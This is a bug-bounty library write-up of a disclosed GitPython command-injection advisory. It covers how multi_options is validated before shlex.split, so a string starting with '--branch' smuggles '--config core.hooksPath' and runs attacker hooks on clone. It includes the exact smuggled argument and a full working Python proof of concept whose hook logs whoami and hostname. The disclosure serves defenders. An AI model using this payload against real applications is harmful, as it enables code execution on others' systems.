# GitPython: Unsafe option check validates multi_options before shlex.split transformation

GitPython validates multi_options before shlex.split, so a string starting with --branch smuggles --config core.hooksPath, letting git run attacker hooks during clone.

- Payout: Research
- Severity: high
- Program: GitPython
- Found by: Texuguinho1234
- Disclosed: 2026-04-25
- CVE: CVE-2026-42284
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-x2qx-6953-8485
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-x2qx-6953-8485
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:python technique:parser-differential technique:source-review vuln:command-injection

**Target:** GitPython library clone_from/clone/Submodule.update multi_options handling
**Root cause:** check_unsafe_options runs on the original multi_options list using startswith, but git.clone executes the shlex.split-joined result, so a single string element expands into multiple tokens after validation.
**Steps:**
1. Pass `multi_options=["--branch main --config core.hooksPath=/x"]` to `Repo.clone_from(src, dst, ...)`
2. Validation sees one element starting with `--branch`, not `--config`, so it passes
3. `shlex.split(" ".join(multi_options))` yields `["--branch", "main", "--config", "core.hooksPath=/x"]`
4. git clone applies core.hooksPath and executes the attacker's post-checkout hook, running arbitrary code
**How found:** Noticed validation operated on the pre-split list while execution used the post-shlex.split tokens, then crafted a single string that starts with a safe option but expands to include --config.
**Exploitation:** Attacker controls a multi_options string beginning with a safe option like --branch, embedding --config core.hooksPath=<attacker dir>; on clone git loads hooks from that dir and executes them, achieving code execution in the victim app's context.
**Escalation:** Also reachable via Submodule.update() through clone_multi_options, widening the attack surface.
**Insight:** When a sanitizer and the sink consume different representations of the same input, look for transformations (shlex.split, join, normalization) between them; a startswith check on a pre-split string is trivially bypassed by prefixing a safe option.

## Proof of concept (copied exactly from the original report)

**Python PoC cloning with malicious multi_options**

```
import sys, pathlib, subprocess
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))

from git import Repo
from git.exc import UnsafeOptionError

try:
    Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])
except UnsafeOptionError:
    print("multi_options=['--config', '...']: Block as expected")
except Exception:
    pass

DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"
SRC = DIR / "repo"
DST = DIR / "dst"
HOOKS = DIR / "hooks"
LOG = DIR / "output.log"

if not SRC.exists():
    SRC.mkdir(parents=True)
    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)
    r("git", "init", "-b", "main")
    (SRC / "f").write_text("x\n")
    r("git", "add", ".")
    r("git", "commit", "-m", "init")

HOOKS.mkdir(exist_ok=True)
hook = HOOKS / "post-checkout"
hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")
hook.chmod(0o755)

LOG.unlink(missing_ok=True)
payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()

try:
    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])
except UnsafeOptionError:
    print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)
except Exception:
    pass

if not LOG.exists() and DST.exists():
    subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)

print(f"multi_options=['{payload}']: not blocked")
print(f"\nHook executed: {LOG.exists()}")
if LOG.exists():
    print(LOG.read_text().strip())
```

